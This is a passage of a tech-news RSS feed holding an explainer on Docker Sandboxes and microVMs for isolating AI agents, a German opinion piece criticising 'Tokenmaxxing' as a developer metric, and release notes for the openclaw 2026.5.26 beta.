<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Docker Sandboxes and microVMs, explained]]></title>
<description><![CDATA[With the rise of agentic AI, developers need secure but also lightweight solutions for running their agents. The agent should be able to do all the things a human developer could do with containers — build them, install software into them, and modify files they have access to — but in a way that ...]]></description>
<link>https://tsecurity.de/de/3550432/ai-nachrichten/docker-sandboxes-and-microvms-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550432/ai-nachrichten/docker-sandboxes-and-microvms-explained/</guid>
<pubDate>Wed, 27 May 2026 11:04:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>With the rise of <a href="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html">agentic AI</a>, developers need secure but also lightweight solutions for running their agents. The agent should be able to do all the things a human developer could do with containers — build them, install software into them, and modify files they have access to — but in a way that protects the host system from the agent <a href="https://fortune.com/2026/03/18/ai-coding-risks-amazon-agents-enterprise/">doing something destructive</a>.</p>



<p><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html" data-type="link" data-id="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> offers several different levels of isolation for running containers. Each comes with its own trade-offs. Some are faster, but less inherently secure; others are slower, but better protected against attack or egress. In April, Docker introduced a new kind of isolation for containers, one specifically designed to run AI agents: <a href="https://docs.docker.com/ai/sandboxes/">Docker Sandboxes</a>.</p>



<h2 class="wp-block-heading">Docker Sandboxes explained</h2>



<p>Docker Sandboxes use what is called a “<a href="https://www.docker.com/blog/why-microvms-the-architecture-behind-docker-sandboxes/">microVM</a>” to isolate containers. A microVM is a virtual machine that runs on the native hypervisor of the host operating system for isolation. The “micro” comes from the design of the VM, which is specifically for running workloads that need to start up quickly, tear down quickly, and not gobble too many system resources.</p>



<p>The microVM itself is a custom-built, cross-platform project for Docker, designed to run directly on the hypervisor architecture for all three major platforms: Linux (KVM), macOS (Hypervisor.framework), and Microsoft Windows (Windows Hypervisor Platform). The behavior of the microVM is intended to be the same across the board, with native support for each hypervisor.</p>



<p>Normally, the Docker daemon runs directly on the host. Containers run with minimal overhead, but also with less isolation compared to the full isolation of a VM. With microVMs, each container has <em>its own isolated instance</em> of the Docker daemon, along with its own kernel. No persistent state is kept in the microVM, so they can be killed and restarted as needed.</p>



<h2 class="wp-block-heading">Docker Sandboxes and agentic AI</h2>



<p>The combination of nimbleness, light weight, and full isolation is designed to make Docker Sandboxes a better environment for AI agents than regular containers or full VMs. Regular containers don’t provide enough isolation from the host to keep an AI agent from causing problems, and full VMs have too much overhead to work well with the ad hoc nature of agentic workloads.</p>



<p>A sandboxed container provides whatever runs inside it with locally scoped access to directories, network endpoints, and secrets, all of which are injected at run time and not part of the container’s definition. The agent can run all of Docker’s commands (<code>build</code>, <code>run</code>, <code>compose</code>), but in complete isolation from other containers and the host system.</p>



<p>Even with these enhancements, there’s still potential for problems. A sandboxed agent could pull and build containers without restraint, for example, eating up bandwidth and system resources. That said, those kinds of problematic behaviors are more easily contained and cleaned up after than, say, having one’s system trashed or production data deleted.</p>



<h2 class="wp-block-heading">Docker Sandboxes beyond AI</h2>



<p>Although Docker Sandboxes may have been designed for AI coding agents, their feature set extends into scenarios far beyond agentic AI workloads. Docker Sandboxes provide another level of isolation and flexibility to containers generally.</p>



<p>Consider malware analysis. A piece of malware run in a microVM could be run through a great many different analysis scenarios — more in a given timeframe than with a conventional VM, since microVMs start and stop faster.</p>



<p>Other scenarios also come to mind, <a href="https://rivet.dev/blog/2026-02-04-we-reverse-engineered-docker-sandbox-undocumented-microvm-api/#use-cases">as noted by Nathan Flurry of Rivet</a>. One use case would be to allow third parties to run untrusted code. A coding platform that allows users to upload and run their own code, for instance, could be configured to use microVMs to run the code in isolation, and terminate it cleanly and automatically (e.g., when some resource quota is used up). Another use case would be software build pipelines. By isolating each build process inside a microVM container, teams could prevent conflicts between builds and achieve more predictable performance.  </p>



<p>Right now, the Docker Sandbox system caters primarily to agentic AI clients, but it is possible to <a href="https://docs.docker.com/ai/sandboxes/agents/shell/">start a shell and run your own code</a> inside a sandboxed container. You can also build a custom sandbox with a <a href="https://docs.docker.com/ai/sandboxes/customize/templates/">template</a> or a <a href="https://docs.docker.com/ai/sandboxes/customize/kits/">kit</a>, although kits are in an experimental stage right now.</p>



<p>Docker Sandboxes and its companion tools open the door for any number of experiments with microVMs. AI agents may be the founding and prominent use case for Docker Sandboxes, but they are just the tip of the iceberg.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tokenmaxxing ist einfach nur dumm]]></title>
<description><![CDATA[Tokenmaxxing ist der neueste abwegige Trend im langen Kampf darum, die Produktivität von Entwicklern zu messen.DC Studio | shutterstock.com



Scheinbar haben Softwareentwickler in Diensten von Meta, die sich voll und ganz der KI-gestützten Programmierarbeit verschrieben haben, einen neuen Weg ge...]]></description>
<link>https://tsecurity.de/de/3549711/it-security-nachrichten/tokenmaxxing-ist-einfach-nur-dumm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549711/it-security-nachrichten/tokenmaxxing-ist-einfach-nur-dumm/</guid>
<pubDate>Wed, 27 May 2026 06:07:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/DC-Studio_shutterstock_2269121373_DEOnly_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Dev Meeting 16z9" class="wp-image-4075633" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Tokenmaxxing ist der neueste abwegige Trend im langen Kampf darum, die Produktivität von Entwicklern zu messen.</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p>Scheinbar haben Softwareentwickler in Diensten von Meta, die sich voll und ganz der KI-gestützten Programmierarbeit verschrieben haben, einen neuen Weg gefunden, ihr Engagement zu messen. Dieser manifestiert sich in Form einer internen Rangliste, die erfasst, welcher Dev die meisten Token mit Claude Code verbraucht. Das nennt sich auch „<a href="https://fortune.com/2026/04/09/meta-killed-employee-ai-token-dashboard/" target="_blank" rel="noreferrer noopener">Tokenmaxxing</a>“ und ist eine der dümmsten Ideen, die mir seit langem begegnet ist.</p>



<p>Denn bei diesem Wettlauf darum, wer die meisten Token verbraucht, spielt es keine Rolle, ob daraus ein gutes Ergebnis entstanden ist. Die Rankings sind einfach nur dazu da, damit sich die Beteiligten mit zweifelhaften Titeln wie „Token Legend“ oder „Cache Wizard“ schmücken können. Auch bei Microsoft, OpenAI und Salesforce spielt(e) sich offenbar <a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/" target="_blank" rel="noreferrer noopener">Ähnliches</a> ab.  </p>



<h2 class="wp-block-heading">3 Gründe gegen Tokenmaxxing</h2>



<p>Softwareentwickler <a href="https://www.computerwoche.de/article/4057157/6-fuhrungstipps-fur-chefentwickler.html" target="_blank">zu führen</a>, ist eigentlich schon schwer genug. Das hat diverse Gründe, aber der wohl wichtigste ist, dass sich der Softwareentwicklungsprozess, beziehungsweise die <a href="https://www.computerwoche.de/article/4133885/darum-werden-ihre-besten-entwickler-langsamer.html" target="_blank">Produktivität der Developer</a> nur sehr schwer (bis gar nicht) messen lässt. Was nicht heißen soll, dass das nicht <a href="https://www.computerwoche.de/article/3600678/entwickler-gehoren-nicht-ans-fliesband.html" target="_blank">versucht wurde</a>. Im Gegenteil: Im Laufe der Jahre wurden Code-Zeilen, Storypoints, Arbeitsstunden insgesamt und pro Task oder auch die wöchentlich behobenen Bugs gemessen – unter anderem. All diese „Kennzahlen“ haben dabei zwei Dinge gemeinsam: Sie funktionieren nicht und werden am Ende nur manipuliert.</p>



<p>Deshalb tun wir uns meiner Meinung nach mit Anwandlungen wie Tokenmaxxing alles andere als einen Gefallen. Warum, lege ich auch gerne dar:</p>



<ul class="wp-block-list">
<li>Erstens sagt es nicht wirklich etwas aus, wenn gemessen wird, wie viele Token verbraucht wurden.</li>



<li>Zweitens ist eine „Zielsetzung“ dieser Art quasi dazu gemacht, massiv ausgenutzt zu werden, indem sinnlos Token verbrannt werden – siehe auch <a href="https://de.wikipedia.org/wiki/Goodharts_Gesetz">Goodharts Gesetz</a>.  </li>



<li>Drittens könnten Manager in den Führungsetagen auf das Phänomen aufmerksam werden. Schließlich suchen sie schon lange nach einer Methode, um Developer zu evaluieren. Sollten Sie Tokenmaxxing als Option dafür entdecken, prophezeie ich einen rasanten Niedergang.</li>
</ul>



<p>Natürlich lassen sich verbrauchte Token leicht zählen und die Werte sehen in einem Dashboard eventuell auch toll aus. Leider ist es nur für absolut nichts gut – außer dazu, festzustellen, wie viel Strom durch die <a href="https://www.computerwoche.de/article/4163759/gpu-effizienz-verdoppeln-ohne-zusatzkosten.html" target="_blank">GPUs</a> gejagt wurde. Während ich diesen Text hier tippe, habe ich bereits vor meinem inneren Auge, wie sich die OKRs in den Köpfen der Manager formen und im Rahmen einer Präsentation für Investoren per Powerpoint-Slide verkündet wird: „Der Token-Durchsatz ist im Jahresvergleich um 30 Prozent gestiegen!“</p>



<p>Es verhält sich mit Tokenmaxxing ähnlich wie damit, Code-Zeilen zu zählen: Eine Maximierung ist ein Kontraindikator für Qualität und Erfolg. Dazu kommt, dass es tatsächlich auch zu schlechteren Ergebnissen führen kann, möglichst viele Token zu verbrauchen. KI-Assistenten wie Claude Code erfordern vielmehr, Ressourcen mit Bedacht zu managen.</p>



<p>Das Letzte, was Unternehmen (und auch Devs) brauchen können, ist, dass der Token-Verbrauch zur neuen „Beschäftigungsarbeit“ wird, bei der Entwickler Ressourcen verschwenden und Führungskräfte ihnen dafür noch auf die Schulter klopfen. Das hat man wohl auch bei Meta erkannt und dem Tokenmaxxing inzwischen klugerweise einen Riegel vorgeschoben. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.26-beta.1]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.
Better voice a...]]></description>
<link>https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549287/downloads/openclaw-2026526-beta1/</guid>
<pubDate>Tue, 26 May 2026 23:16:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster replies and startup: visible reply delivery now separates user-facing sends from slower follow-up work, command/model/plugin metadata is reused on hot paths, and Gateway startup avoids repeated plugin, channel, session, usage-cost, and filesystem scans.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage get reaction approvals.</li>
<li>Safer agents: Codex app-server auth, compaction, source replies, sandbox path handling, and usage-limit recovery are more robust; OpenAI-compatible providers avoid empty-tool and malformed payload failures.</li>
<li>More reliable replay and installs: legacy tool results, subagent spawn payloads, stale lock ownership, Windows stack-heavy startup, macOS restart validation, and Docker package preparation all fail less surprisingly.</li>
<li>Better install/update/release confidence: Alpine installs, stable update channels, Docker/package timeouts, Windows/macOS proof lanes, Testbox/Crabbox delegation, and plugin publish checks all got hardened.</li>
<li>New observability: Activity tab, gateway secret-prep traces, tool/model stream progress, OpenTelemetry LLM spans, release performance evidence, and richer missing telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs and CLI surface.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 